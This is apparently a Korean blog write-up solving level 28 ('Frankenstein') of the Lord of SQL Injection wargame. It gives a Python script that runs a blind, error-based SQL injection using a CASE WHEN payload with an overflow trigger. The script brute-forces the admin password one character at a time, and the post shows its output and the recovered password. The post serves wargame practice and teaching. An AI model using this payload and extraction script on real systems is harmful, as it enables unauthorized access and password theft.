WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 28 - Frankenstein

프랑켄슈타인! 드디어 이미지를 구할 수 있는 몬스터를 만났다. 이번 문제도 우리의 지식 선상에서 컷 가능하다. 바로 코드를 만나보도록 하자

<출처 : 위키백과 https://en.wikipedia.org/wiki/Frankenstein>


코드

첫번째 query는 유니온과 괄호를 막는다. 여러 가지 이유가 있겠지만 필자가 생각하기엔 ERROR Based SQL Injection을 막으려는 거 같다. >> 아마 저번 시간에 쓴 if와 서브 쿼리는 사용하기 어려워 보인다.

두 번째 query는 pw에 addslash 하고 admin에 대한 정확한 pw를 물어보는 조건문이 붙는다. 즉 Blind SQL Injection이다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0dc4efbb
from requests import get
import string


url = "### Frenkenstein URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
password = ''
letters = string.ascii_letters+string.digits
break_flag = False

print("### find for pw ###") 
while(True) :
    if(break_flag) :
    	break
    for a in letters :
        param = "?pw=1' or case when id='admin' and pw like '"+password+a+"%' then 9e307*2 else 0 end-- ;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("login_chk")<0) :
            password += a
            print("password ",password)
            break
        if(letters[-1] == a) :
            break_flag = True

print("here's your passwrod : "+password)

SQL 조건문에는 CASE라는 조건문이 있다. 다음과 같이

이를 이용하면 문제조건에 부합하게 괄호를 사용하지 않고 조건문을 작성할 수 있다. 에러는 간단한 오버플로우 에러를 활용하였다. 

* 9e307은 에러를 발생시키지 않는 최대의 정수 값이다. 이 이후로는 오버플로우 에러가 발생한다.

출력은 다음과 같다.

### find for pw ###
password  0
password  0d
password  0dc
password  0dc4
password  0dc4e
password  0dc4ef
password  0dc4efb
password  0dc4efbb
here's your passwrod : 0dc4efbb

문제풀이를 자축하자


CASE문에 대해서 공부할 수 있는 좋은 시간이었다. 여러분과 필자는 다음 몬스터에서 만나겠다.